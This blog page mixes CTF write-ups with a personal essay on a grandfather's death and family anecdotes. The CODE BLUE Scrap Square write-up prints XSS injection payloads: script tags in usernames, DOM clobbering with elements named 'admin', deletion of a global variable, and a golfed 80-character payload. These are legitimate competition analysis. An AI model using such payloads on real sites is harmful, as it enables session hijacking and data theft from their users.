博多電光

blog.hkt.sh

CODEBLUE CTF 2018 Quals - Scrap Square v1.0 & v1.1 Writeup

Scrap Square v1.0 - Web

Kamogawa created an application to record memo and he stored a secret memo.
He showed it to Katsuragawa and he learned CSP is cool.
If you find a issue, please report it.

URL: http://v10.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.0.zip
Admin browser: admin.zip

A simple scrap storage service is given with complete source code.

f:id:hakatashi:20180801064023p:plain

f:id:hakatashi:20180801064101p:plain

Step 1: XSS and injection of unused JS file

From description the flag is admin's scrap and obviously the "Report this scrap" feature and XSS is the key. CSP is the following.

default-src 'none';
script-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js https://code.jquery.com/jquery-3.3.1.min.js http://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/;
style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css;
img-src 'self';
frame-src https://www.google.com/recaptcha/;
connect-src 'self'

So inline script etc won't work at all and we should load valid js file from the same origin. Fortunately, mysterious JS file is found in the source soon.

// app/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js
const timer = setInterval(() => {
  if ($('.scrap-body').length === 0) {
    return;
  }

  clearInterval(timer)
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }
}, 300)

This file is not loaded into the application. Fortunately, easy XSS can be found in username.

// app/views/scrap.pug
extends layout.pug

block content
  div.scrap-wrapper
    p!= `${user.name}'s scraps'`

Pug's != operator embeds string dangerously, and can be easily pissed off. Then we can inject the following code into HTML.

<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>

Step 2: Inject arbitrary script

We wondered how scrap body is served. After searching code we can find following code.

// app/src/index.js:102
  const staticBaseUri = '/static'
  const staticDir = path.join(__dirname, '..', 'static')
  const rawStaticDir = path.join(staticDir, 'raw')
  app.use(staticBaseUri, express.static(staticDir))

express.static() serves files statically. This is the feature of express.js and it recognizes file extension. In this case, scrap title is directly used as filename, so we can name scrap "foobar.js" and it is immediately served as Content-Type: text/javascript.

Now we can upload arbitrary file as script and inject it with username XSS.

<script src="/scraps/raw/<USERID>/foobar.js"></script>

But the limitation is so tense. Body shouldn't match /[^0-9a-zA-Z '.\n\r/-]/ and that's the limitation of our injection script.

Step 3: Hack into the URL parser

Now we can make admin report some scraps to somewhere. The reported scrap is loaded here.

// app/static/javascripts/load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// show title
const scrapTitle = $('<h1 class="scrap-title">')
scrapTitle.text(title)
$('.scrap-header').append(scrapTitle)

// show body
$.get(`/static/raw/${user}/${title}`)
  .then(c => {
    const scrapBody = $('<pre class="scrap-body">')
    scrapBody.text(c)
    $('.scrap-wrapper').append(scrapBody)
  })

location.href.split seems very dumb, and can be hacked by the following URL.

# Script loads `/scraps/raw/AAAAAAAA/AAAA`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/AAAAAAAA/AAAA

And more significantly, replacing it with .. can load root URL, which includes list of user's scraps.

# Script loads `/scraps/raw/../..` = `/`, not `/scraps/raw/aaaaaaaa/aaaa`
https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/../..

Step 4: Deletion of global variable

Then we can load admin's scrap list and call reportScrap() after them. reportScrap() is called here.

// app/static/javascripts/report-scrap.js
  if ($('.scrap-body').text().includes(window.banword || '')) {
    reportScrap()
  }

window.banword is defined as window.banword = 'give me flag' in config.js. So, that string should be included in target to report that, but seems no chance.

After straggling, we could reset it with following inject code.

delete window.banword

Then the report should be go through unconditionally.

Step 5: Pollution of global variable with form tag

Finally, reportScrap() is defined as follows.

// app/static/javascripts/report-scrap.js
window.reportScrap = (captcha) => {
  return $.post('/report', {
    to: window.admin.id,
    url: location.href,
    'g-recaptcha-response': captcha,
    title: $('.scrap-title').text(),
    body: $('.scrap-body').text()
  })
}

If we override window.admin.id, the report is directed toward us and we can view the content of the report, which happily includes scrap's body.

And id is the key. We can overwrite window.admin by the following HTML.

<form id="<USERID>" name="admin"></form>

This HTML defines window.admin as that form tag, and admin.id points to its id attribute, which equals to <USERID>.

Then we can change the direction of report submission which includes list of admin's scraps. Final hacking procedure is the following.

  1. Register on service, and upload following scrap with title a.js

    delete window.banword delete window.admin

  2. Register another user with the following username ( is the previous user id)

    <script src="/static/raw/<USERID>/a.js"></script><script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script><form id="<USERID>" name="admin"></form>

  3. Upload some scrap, and add strange query string to that URL.

    http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/<USERID2>/foobar?a/../..

  4. Report that page to the admin

  5. Go back to the previous user, and visit /reports endpoint

  6. Report from admin is posted and that includes list of admin's scrap

  7. Content of that scrap is the flag: CBCTF{k475ur464w4-15_4-n4m3-0f_R1v3r}

Our team was the first that solved. Finally got 389pt with 9 teams solved.

Scrap Square v1.1 - Web

Kamogawa noticed that if the username is too long, it stuck out from the screen in Scrap Square v1.0.
For this reason, he restricted the length of the username more strictly.
- if (req.body.name.length > 300) {
- errors.push('Username should be less than 300')
+ if (req.body.name.length > 80) {
+ errors.push('Username should be less than 80')
URL: http://v11.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.1.zip
Admin browser (not changed from v1.0): admin.zip

After solving Scrap Square v1.0, the chal v1.1 was revealed immediately. Only two lines of code was updated, which tighten the length limit of XSS injection code.

Step 1: Code golf

Obviously the previous attack code (209 chars) won't work. But we can golf it in some ways.

  1. Trim quotes and whitespaces
  2. Use ES module to load periodically-**.js script. That costs type=module in attack code but the long file name can be included in a.js.
  3. Reorder tags and omit closing tags

Then the final attack code was the following (just 80 chars).

<img id=ls4w00fp name=admin><script type=module src=/static/raw/ls4w00fp/a.js>/*

Then repeat the previous procedure to get the flag: CBCTF{k4m064w4_d1d-n07-kn0w_7h3r3-4r3_x55}

Our team was the first that solved. Finally got 462pt with 3 teams solved.

Timeline

Many part of the credit goes to my team members. The following timeline describes actions executed to solve this challenge and member who contributed it.

  • 20:00 Scrap Square v1.0 revealed
  • 21:02 @hakatashi found the strange restriction of scrap title naming, especially the usage of .
    • This led me to the suspection of the existence of any directory traversal, but that totally missed the point.
  • 21:36 @hakatashi found title name of scrap can control Content-Type of raw scrap body, because of express.static() behavior
  • 21:40 @lmt_swallow found import '/foobar.js' is useful for loading another JS files
  • 22:09 @kcz146 found XSS in username
  • 22:30 @kcz146 conceived the possibility of illegal scrap body submission by the combination of periodically-**.js and global variable pollution
  • 22:48 @hakatashi found dumb URL parsing in load-scrap.js and hack with query string
  • 22:49 @kcz146 immediately conceived the clever hack with ?/../..
    • After this we stuck at global variable pollution. We all think of pollution by ES module import, but that missed the point.
  • 23:12 @kurgm conceived the idea of global variable pollution by <form id="foobar">
  • 23:30 @kurgm conceived the idea of global variable override by delete window.admin
  • 23:45 @hakatashi solved chal and submitted flag
  • 23:50 Scrap Square v1.1 revealed
    • For us, the application of ES module is very natural and we golfed for a while... and that is not so difficult (We all are golfing expert😂)
  • 00:30 Hacking code beat the 80 chars limit
  • 00:34 @lmt_swallow solved chal and submitted flag

My thoughts

That was brilliant challenge😆. So difficult, but I enjoyed the combination of XSS, extension hack, and global pollution etc. Many thanks to the editor @tyage.

As for v1.1, I feel the chal was not so much of v1.0 and just a golfing matter. But still nice with requirements of deep knowledge of modern javascript. Thanks!

祖父が他界しました

2018年1月7日、父方の祖父が他界した。すでに4ヶ月以上前の話である。

詳細は聞かされていないが、僕が物心ついたときから老病を患っていた祖父は、長らく自宅で投薬治療を続けていた。とはいえ病人のようなていではなく、むしろ帰省するたびに僕らに快活で剽軽な姿を見せる祖父は、ぷっくりとした姿も相まってまるで布袋さんのような存在だった。1月6日夜、祖父は自宅で突然の心臓発作を起こして卒倒、救急搬送されたがまもなく死亡が確認され、まさにピンピンコロリで逝ってしまった。

その2日前まで、僕と家族は正月の帰省で祖父の家に逗留していた。居間で僕らと談笑し、一緒にテレビを見て笑い、手製のきんぴらごぼうを振る舞う祖父の姿は、いつも盆と正月に顔を合わせる朗らかな祖父の姿そのものだったし、間違っても死神に憑かれた老人の姿ではなかった。祖父の訃報を受けて僕らは千葉から新幹線でとんぼ返りをし、つい2日前に後にしたばかりの居間で眠る祖父の体に手を合わせた。死に水を取り、納棺し、葬儀に参列し、骨を拾い、そのまま涙を拭いて帰った。あれから4ヶ月、僕と周囲の日常は表向き何も変わらず動き続けている。

一方で、僕自身の生き方は取り返しの付かないほど変わってしまった。

以前の記事にも記したとおり、僕は昨年の9月に祖母を見送ったばかりだった。昨年逝った祖母は母方なので、もちろんこれらは無関係である。しかし、不幸は続くもの――という安易な言葉では慰めにはならないほど、肉親が立て続けに逝ったことは僕の精神に深い暗雲をもたらした。

法要のため加古に滞在している間、それがどういう心境によるものかは未だによくわからないが、僕は愛読書であるアンナ・カヴァンの『氷』を読み続けていた。それは単に愛読書が隣にあることで安心感を覚えたかったのかもしれないし、霊前に臨む前に少しでも悲しい気分に浸りたかったのかもしれないし、単に機会を見て名著を再読したかっただけかもしれない。どうせ自分の行動に理由をつけられることなんて多くないのだから、そこは特に気にしない。とにかく僕は、何度目かは忘れたが2日間で『氷』を読破し、増え続ける一方の自室の本棚に差し戻した。

物語の中で幾度となく殺され、侵され、壊される白い少女は、きっと本来の意味での純粋な「死」のイメージではないのかもしれない。しかし、迫り来る氷と飲まれゆく大地のイメージは、僕にとっての現実と妄想の境を曖昧にし、不連続なはずの生死の境界を超えて手を伸ばし、死を見つめる視線を悪い意味で変容させ、深淵を覗き込むことの恐怖を僕に与えた。都会に帰ってからの僕の日々は、典型的なタナトフォビアの様相を呈した。

10秒後に死ぬかもしれないことを考えて眠れない夜が増えた。

ホームドアのない駅の乗降場に立つことが怖くなった。

フィクションでも誰かが死ぬことに過剰に怯えるようになった。

死ぬことを知って、また生きるのが難しくなった。僕は未だにこの根源的なトラウマの中に囚われている。だけど。

奈落の底を知らなかった日々には、数十年後に訪れるであろう死をぼんやりと思いながら安楽に過ごしていた毎日には、戻りたいと思っても決して戻れないから。

戻れるとしても戻りたくはないから。

記憶は魂そのものだから、記憶を刻んで1つ弱くなった僕も間違いなく僕だから、今、自分が自分であることは絶対に否定したくはない。

それは今の僕が忌避する「死」そのものだから。

だから。神様を呪って、今畜生と唾吐いて、それでもこの星の下で人生を謳歌してやろうと思った。

君はどこに落ちたい? どうせ墜落するのが定めなら、僕は大気圏に落下して燃えて燃え尽きて誰かの願いを叶える流星になって朽ちたい。そして。

そして、僕は今日もまた生き損じている。

つよくなりたい。

自分のこと

  • 小学n年生のこと。担任の女の先生が非常に性格の悪い人だった (僕自身も覚えている。というか絶対に忘れない)。当時の僕は小学校の机からよく物を落とす生徒として教師陣から目をつけられていた不良学生だったが、それに対してその女教師は僕が机から物を落とすたびにそれを没収し、黒板のチョーク箱の隣に下げたビニール袋に放り入れて晒し者にするという意地の悪い対応をした。こういうことをされると子供はますますグレていくもので、しまいには座ったまま上履きを脱いで放り投げたらそれも没収され、裸足で帰らされた。授業参観の日に見に来た父の言によれば、授業が始まるたびに前の授業の教科書を片付けずに新しい教科書を上に並べるので、そのたびに小さな机から物がぽろぽろと落ちていった。それをいちいち拾って「高橋光輝」と大書された袋に詰める教師を見て、非常に悔しい思いをしたという。父曰く、「勉強だけはできる小生意気な子供に反発して意地悪をするような、器の小さい教師だった。今でも許せない」
  • 僕は4人兄弟の長男だが、実は僕を産む前に母は流産を経験している。母が妊娠中、当時市役所に勤務していた父と母は、選挙活動 (具体的な内容はわからない。公務員の選挙運動は禁止されているはずなのでなにかの手伝いとかではないか) という実入りの良い仕事を進んで行っていた。それが大きな箱を運んだりするなどのハードワークだったようで、母は過度の運動により体調不良を訴え、医師に診てもらったところ流産と言い渡された。長らく子宝に恵まれなかった末の妊娠だったためにショックも大きかったようで、あれから20年以上たった今も父は目先の給与にとらわれて身重の母にハードワークを強いたことを後悔している。
  • 先日亡くなった父方の祖父のこと。祖父は長らく右足と右手に障害を持っていた。この怪我の詳細は父も知らなかったそうだが、祖父が亡くなったのち、祖母を通して父が伝え知った話は右のとおりである。右足の怪我は父が幼いころ、祖父がまだ28歳かそこらの時に拵えたもので、祖父の妹が営んでいた問屋の手伝いで力仕事をしていたところ、トラックの荷台から転落し右足に重傷を負った。本来であれば労災が降りるところだが祖父は妹の処遇を思って労災を申請しなかった。今で言う労災隠しである。そのため良い医者にかかることができず膝蓋骨に後遺症が残り、以来祖父の右膝は曲がらなくなった。右手の怪我は父が大学生の頃、工場で働いていた祖父がプレス機に手を挟まれた事故によるものである。深夜の作業で2、3人しか現場に居合わせていなかったために起きた事故であり、こちらはきっちりと労災が降り、手指がばらばらになるほどのひどい怪我だったそうだが指が動かせる程度には復活したそうだ。しかしそもそも祖父が工場で働き始めたのは無理を言って下宿生活を始めた息子 (僕の父) を養うためだった (と父は考えている) といい、その点で父はやりきれない思いになったという。
  • 父と宗教の出会い。母と出会ったばかりの父は気性が激しく、母に頻繁に暴力を振るっていたという (正直、母の前で父からこの話を聞いた今も信じられない話である。現在の父は温厚で稀に母と口角泡を飛ばし合うことはあっても暴力を振るうなどとても考えられない)。一方当時の父は比較的教養人であり、世界の宗教についても一通り修めていた (そういう家に生まれたことも影響しているのだろう。父は幼い頃から信心深い祖父と祖母に連れられて霊山神山を巡っていた) が、新興宗教の類には眉をひそめるような人間だった。読書家でもあった父は当時書評欄や書店ランキングで絶賛されていたある新興宗教の本を (しぶしぶ) 手に取り、そこで大きな感銘を受け、そのまま10冊以上を読破したのちその新興宗教に入信した。その後しばらく団体内で活動した父は、母にも入信を勧めることを決心。勇気を出して「入信しないか」と切り出したところ二つ返事で「いいよ」と返されたという。父は母からの力強い信頼と捉えて喜んだが事実はその逆であり、暴力を振るう父に愛想を尽かし「これが最後のチャンスだと思って付いていこう。これでダメだったらもう付いていけそうにない」と思っての「いいよ」だった⋯⋯という話を後に団体の女性職員を介して父は知る。
  • 小学1年生の時、右目に大きな怪我をしたらしい。父とともに外に遊びに出たとき (当時妹と弟が生まれていたはずである)、前を見ずに走っていた僕はポストの角に激突、鋭利な部分で瞼が大きく切れて目から大量の血が流れ出た。瞼が開いていたら、あるいは少しでも位置がずれていたら失明もありえた大怪我だったという。僕自身は全く覚えていないが、僕の右目が弱い外斜視なのもこれが影響してるのかもしれない。

SECCON 2017 Quals Writeup - z80, SHA-1 is dead, Qubic Rube

※この記事は TSG Advent Calendar 2017 11日目の記事です。

SECCON 2017 予選にチーム「TSG」として参加した。結果は世界23位、日本5位

SHA-1 is dead (Crypto100)

http://sha1.pwn.seccon.jp/

Upload two files satisfy following conditions:

file1 != file2

SHA1(file1) == SHA1(file2)

SHA256(file1) <> SHA256(file2)

2017KiB < sizeof(file1) < 2018KiB

2017KiB < sizeof(file2) < 2018KiB

1KiB = 1024 bytes

解法

やるだけ。Google様の力を借りる。

$ wget https://shattered.io/static/shattered-1.pdf
--2017-12-11 21:27:40--  https://shattered.io/static/shattered-1.pdf
Resolving shattered.io (shattered.io)... 216.239.36.21, 216.239.38.21, 216.239.34.21, ...
Connecting to shattered.io (shattered.io)|216.239.36.21|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 422435 (413K) [application/pdf]
Saving to: 'shattered-1.pdf'

shattered-1.pdf                   100%[===============================================================>] 412.53K   342KB/s   in 1.2s

2017-12-11 21:27:42 (342 KB/s) - 'shattered-1.pdf' saved [422435/422435]

$ wget https://shattered.io/static/shattered-2.pdf
--2017-12-11 21:27:47--  https://shattered.io/static/shattered-2.pdf
Resolving shattered.io (shattered.io)... 216.239.36.21, 216.239.38.21, 216.239.34.21, ...
Connecting to shattered.io (shattered.io)|216.239.36.21|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 422435 (413K) [application/pdf]
Saving to: 'shattered-2.pdf'

shattered-2.pdf                   100%[===============================================================>] 412.53K   312KB/s   in 1.3s

2017-12-11 21:27:49 (312 KB/s) - 'shattered-2.pdf' saved [422435/422435]

$ dd if=/dev/zero of=dummy bs=1643000 count=1
1+0 レコード入力
1+0 レコード出力
1643000 バイト (1.6 MB) コピーされました、 0.006498 秒、 253 MB/秒

$ cat shattered-1.pdf dummy > sha1-1.dat

$ cat shattered-2.pdf dummy > sha1-2.dat

$ ls -la sha1*.dat
-rwxrwxrwx 1 root root 2065435 12月 11 21:30 sha1-1.dat
-rwxrwxrwx 1 root root 2065435 12月 11 21:30 sha1-2.dat

$ sha1sum sha1*.dat
fa004512dad796e9e5f7958e497166c4df54eb7a  sha1-1.dat
fa004512dad796e9e5f7958e497166c4df54eb7a  sha1-2.dat

評価

な~~にがcryptoじゃ。

評価: ★★☆☆☆

z80 (Binary300)

Reverse it.

BuggyCPUBoard-82e40efd036ae8e87e149de07e6b99f5e01e389a537bf1d630b5af84d8f2b10a.ino

Pictures.tar.gz

本日のメイン。Arduinoスケッチファイルと、Arduinoマイコンが接続されたブレッドボードを360度から撮影した22枚の写真が与えられる。

2年前のSECCONでTSGを混乱に陥れた Reverse-Engineering Hardware の再来か⋯⋯と思われたが、実際にはそれ以上に頭のおかしい問題だった。

解法

前半部分は主に@Joe氏が担当した。まず写真を見ながら回路を検分する。ボードのほうは Arduino Mega だと分かる。マイコンのほうは (嫌らしいことに) わざわざSECCONステッカーが上に貼ってあり、型番がわからないが、問題のタイトルがz80なので、十中八九z80マイコンであると思われる。

@Joe氏がマイコンのデータシートと写真をにらめっこしながら、以下のように手書きの回路図を作成した。(お疲れ様です⋯⋯)

f:id:hakatashi:20171211191450j:plain

ここからは主に僕が担当した。とりあえずArduinoスケッチファイルのほうを読んでみる。とても長いのでざっと眺めるくらいしかしてないが、一番気になるのはmemという怪しい変数。

static unsigned char mem[memsize] = {
  0x22, 0x47, 0x00, 0x3d, 0x53, 0x77, 0x23, 0x3d, 0x45, 0x77, 0x23, 0x3d, 0x43, 
  0x77, 0x23, 0x77, 0x23, 0xc5, 0x0c, 0x77, 0x23, 0xc5, 0xfd, 0x77, 0x23, 0x3d, 
  0x7b, 0x77, 0x23, 0x39, 0x44, 0x00, 0x47, 0xc5, 0x46, 0x31, 0x44, 0x00, 0x78, 
  0x31, 0x46, 0x00, 0xfd, 0x22, 0xf9, 0x1e, 0x00, 0xfd, 0x7b, 0xf1, 0x1e, 0x00, 
  0x77, 0x23, 0x39, 0x45, 0x00, 0x3e, 0x31, 0x45, 0x00, 0xc1, 0x1e, 0x00, 0x3d, 
  0x7d, 0x77, 0x75, 0x03, 0x0b, 0x09, 
};

読むと、memReadやmemWriteという関数がこのmemにバイト単位の読み書きを行っているらしい事がわかる。そしてZ80マイコンがHALTした時、dispWork(0x47);でmemの0x47以降の内容をシリアルポートに書き出している。この時点でどうやらmem変数をZ80マイコンを動作させるためのプログラムメモリとして利用しているのではないかと当たりをつけた。

となるとmem変数の中身はZ80バイナリということになる。データを適当に整形してyazdに投げると、以下のように逆アセンブルできた。

        LD      (L0046+1),HL    ; reference not aligned to instruction
        DEC     A
        LD      D,E
        LD      (HL),A
        INC     HL
        DEC     A
        LD      B,L
        LD      (HL),A
        INC     HL
        DEC     A
        LD      B,E
        LD      (HL),A
        INC     HL
        LD      (HL),A
        INC     HL
        PUSH    BC
        INC     C
        LD      (HL),A
        INC     HL
        PUSH    BC
        LD      (IY+23h),A
        DEC     A
        LD      A,E
        LD      (HL),A
        INC     HL
        ADD     HL,SP
        LD      B,H
        NOP
        LD      B,A
        PUSH    BC
        LD      B,(HL)
        LD      SP,0044h
        LD      A,B
        LD      SP,0046h
        LD      (1EF9h),IY
        NOP
        LD      A,E
        POP     AF
        LD      E,00h
        LD      (HL),A
        INC     HL
        ADD     HL,SP
        LD      B,L
        NOP
        LD      A,31h           ; '1'
        LD      B,L
        NOP
        POP     BC
        LD      E,00h
        DEC     A
        LD      A,L
        LD      (HL),A
        LD      (HL),L
        INC     BC
        DEC     BC
L0046:  ADD     HL,BC

アセンブルできたものの、肝心のHALT命令もないし、いまいち意味の分からない内容である。実際にZ80エミュレーターで動かしてみても特に何も起きないし、0x47以降のアドレスにも意味のある内容が書き出されない。ここでずいぶん悩まされた。

立ち返ってArduinoスケッチファイルのファイル名を確認してみる。ファイル名にはBuggyCPUBoardとある。実は@Joe氏が回路の解析を行った際に、気になった部分があった。写真の赤丸の部分に注目して欲しいのだが、

f:id:hakatashi:20171209224300j:plain

よく見ると、他のピンはツイストされたケーブルの白色のジャンパが手前に刺さっているところが、この部分だけ白色のジャンパが奥になっている。この部分を辿っていくと、.inoに書かれたピン配置の配線と食い違っていることがわかる。

@@ -1,5 +1,5 @@
-unsigned D0=22;
-unsigned D1=23;
+unsigned D0=23;
+unsigned D1=22;
 unsigned D2=24;
 unsigned D3=25;
 unsigned D4=26;

D0ピンとD1ピンが入れ替わっている。Dピンはマイコンへのデータの書き出し/読み出しに対応しているので、ここが間違っているとZ80に入力されるデータの中身が違ってくる。おそらくこの間違いがBuggyCPUBoardの「Bug」なのだと思われる。

つまり、mem変数のデータと、実際にZ80が読み出すデータは異なっているものと思われる。mem変数のデータを適当なスクリプトでビットをswapして、再度逆アセンブルすると、

        LD      HL,0047h
        LD      A,53h           ; 'S'
        LD      (HL),A
        INC     HL
        LD      A,46h           ; 'F'
        LD      (HL),A
        INC     HL
        LD      A,43h           ; 'C'
        LD      (HL),A
        INC     HL
        LD      (HL),A
        INC     HL
        ADD     A,0Ch
        LD      (HL),A
        INC     HL
        ADD     A,0FEh
        LD      (HL),A
        INC     HL
        LD      A,7Bh           ; '{'
        LD      (HL),A
        INC     HL
L001D:  LD      A,(L0044)
        LD      B,A
        ADD     A,45h           ; 'E'
        LD      (L0044),A
        LD      A,B
        LD      (L0045),A
        CP      21h             ; '!'
        JP      M,L001D
        CP      7Bh             ; '{'
        JP      P,L001D
        LD      (HL),A
        INC     HL
        LD      A,(L0046)
        DEC     A
        LD      (L0046),A
        JP      NZ,L001D
        LD      A,7Eh           ; '~'
        LD      (HL),A
        HALT
L0044:  INC     BC
L0045:  DEC     BC
L0046:  LD      A,(BC)

かなり意味の通った逆アセンブル結果になる。特にSECCONのフラグ形式であるSECCON{~}らしき文字列のようなものも見える。

実際にエミュレーターで実行させると、ちゃんとHALT命令で停止して終了する。ちなみにエミュレーターTSGコードゴルフ大会で使用したz80golfというアプリケーションを使っている。以下のようなパッチを入れるとステップ実行でデバッグできるようになって便利。

diff -r -u z80golf/src/main.c z80golf2/src/main.c
--- z80golf/z80golf/src/main.c  Sun Dec 10 04:34:03 2017
+++ z80golf2/z80golf/src/main.c Fri Nov 30 08:01:23 2007
@@ -147,7 +147,6 @@

 /// 1命令実行
 void step() {
+       DebugZ80(&z80);
        ExecZ80(&z80);

                // システムコールされた場合、その処理へ飛ばす
@@ -169,7 +168,7 @@
 void exec_loop(int maxstep) {
        int i;
        for (i=0; maxstep == 0 || i < maxstep; ++i) {
+               // if (is_halt()) break;
-               if (is_halt()) break;
                step();
        }
 }

で、HALTした時点でのメモリの状態を確認してみる。

$ z80golf fixed.dat
AF:0000 HL:0000 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0000[21 - LD HL,0047h] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
AF:0000 HL:0047 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0003[3E - LD A,53h] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
AF:5300 HL:0047 DE:0000 BC:0000 IX:0000 IY:0000 I:00
0005[77 - LD (HL),A] SP:0000[4721] FLAGS:[........] IM0:DI
[Command,'?']->
(中略)
AF:0043 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
003D[C2 - JP NZ,001Dh] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:0043 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0040[3E - LD A,7Eh] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:7E43 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0042[77 - LD (HL),A] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']->
AF:7E43 HL:0058 DE:0000 BC:4A00 IX:0000 IY:0000 I:00
0043[76 - HALT] SP:0000[4721] FLAGS:[.Z....NC] IM0:DI
[Command,'?']-> m 0

0000: 21 47 00 3E 53 77 23 3E 46 77 23 3E 43 77 23 77  | !G.>Sw#>Fw#>Cw#w
0010: 23 C6 0C 77 23 C6 FE 77 23 3E 7B 77 23 3A 44 00  | #..w#..w#>{w#:D.
0020: 47 C6 45 32 44 00 78 32 45 00 FE 21 FA 1D 00 FE  | G.E2D.x2E..!....
0030: 7B F2 1D 00 77 23 3A 46 00 3D 32 46 00 C2 1D 00  | {...w#:F.=2F....
0040: 3E 7E 77 76 8F 4A 00 53 46 43 43 4F 4D 7B 48 5C  | >~wv.J.SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E 00 00 00 00 00 00 00  | +p?S"g6J~.......
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | ................
[Command,'?']->

0x47以降のアドレスに何やらflagらしきデータが書き込まれている。

0040:                      53 46 43 43 4F 4D 7B 48 5C  |        SFCCOM{H\
0050: 2B 70 3F 53 22 67 36 4A 7E                       | +p?S"g6J~

ピンのswapによる変更はデータの書き出し時にも影響するので、実際にここに書き込まれるデータを得るには再びこのデータのビットをswapすればよい。すると、

0040:                      53 45 43 43 4F 4E 7B 48 5C  |        SECCON{H\
0050: 2B 70 3F 53 21 67 35 49 7D                       | +p?S!g5I}

となり、flagはSECCON{H\+p?S!g5I}

評価

実際に組まれた回路のデバッグを要求される点や、ビットをswapすると正しいバイナリが得られる点は面白いと思った。が、SECCONステッカーや束ねられたコードなど理不尽な嫌がらせが多く、本質的でない部分で精神を消耗する点で決して良問とは言い難い。また動作に必要とはいえArduinoスケッチファイルが大きく、これがそもそも何をするコードなのか把握するのに時間がかかった。せめて問題文にフォローがあったほうが良かったのでは。

評価: ★★★☆☆

Qubic Rube (Programming300)

Please continue to solve Rubic's Cube and read QR code.

http://qubicrube.pwn.seccon.jp:33654/

2017年になって復活した唯一のQRコード枠。問題タイトルが「QR」をもじったものだと気付くのに時間がかかった。

サイトにアクセスすると、回転するルービックキューブが表示される。

f:id:hakatashi:20171211213613p:plain

6面の画像にはQRコードが表示されており、読み取るとそれぞれ以下のようなテキストになる。

SECCON 2017 Online CTF
Have fun!
Qubic Rube
Next URL is:
No. 1 / 50
http://qubicrube.pwn.seccon.jp:33654/02c286df1bbd7923d1f7

最後のURLにアクセスすると、今度は面が1つ回転したルービックキューブが表示される。

f:id:hakatashi:20171211222337p:plain

この回転を戻してQRコードを読み取って⋯⋯を繰り返していく。10回くらいで完全にスクランブルされたキューブになる。

f:id:hakatashi:20171211222654p:plain

解法

自動化問題。画像のURLはわかりやすく面の色も判別しやすいので、基本的にめんどくさいだけのやるだけ問題である。

肝心のルービックキューブの解法は、たぶん同じ色のピースを9つ集めてきて、並び替えを全探索して有効なQRコードを探すだけで十分に解ける問題だと思われる (うまくやれば探索総数は1面につき2000程度)。が、最近ルービックキューブにはまっていることもあって、ちゃんとルービックキューブを解くプログラムをわざわざ書いてみた。

3x3x3のルービックキューブは、1x1x1のパーツ26個に分けられ、スクランブルされてもそれぞれのパーツに塗られている色の組み合わせは変化しない。3x3x3のルービックキューブではそれぞれのパーツの配色がユニークなので、パーツごとの配色を調べて正しい位置に置き直すだけで解くことができる。

ただし、センターパーツ (3x3の真ん中の1個) の回転だけはルービックキューブの特性上確定しないので、この部分だけ全探索しなければいけない。

画像の取得やQRコードの読み取りなどの自動化は@Joe氏が、ルービックキューブのソルブは僕が担当した。ソースコードはこちら。

github.com

罠として、11問目からルービックキューブの配色が 白⇔青 緑⇔黃 赤⇔橙 の日本配色から、白⇔黃 緑⇔青 赤⇔橙 の国際配色に変化する (は?)。各面の色を決め打ちで解いているとここで躓いてしまう。というか躓いた。

なので、

これは訂正しなければならない。

評価

可もなく不可もなく。300点問題にしては簡単すぎるかと。4x4とか5x5のキューブにしたらさすがに全探索だと難しくなってちょうどよかったのでは?

評価: ★★★★☆

感想

初めてBinary問題を解いたのでもはや実質バイナリアンと言っても過言ではない (は?)

8人くらいで解いたので本戦出れるかは分からないです。

TSGのSlackbot紹介「一人麻雀BOT」

※この記事は TSG Advent Calendar 2017 3日目の記事です。

前日の記事でお送りした通り、TSGのSlackには部員が実装した多くのSlackbotが棲息している。この記事ではそんなSlackbotたちの中でも特に手間をかけて作られた、一人麻雀BOTを紹介する。

一人麻雀BOTとは

名前の通り、麻雀を一人でプレイできるBOTである。

#sandboxチャンネルで「配牌」と言うとゲームが始まる。

f:id:hakatashi:20171203182349p:plain

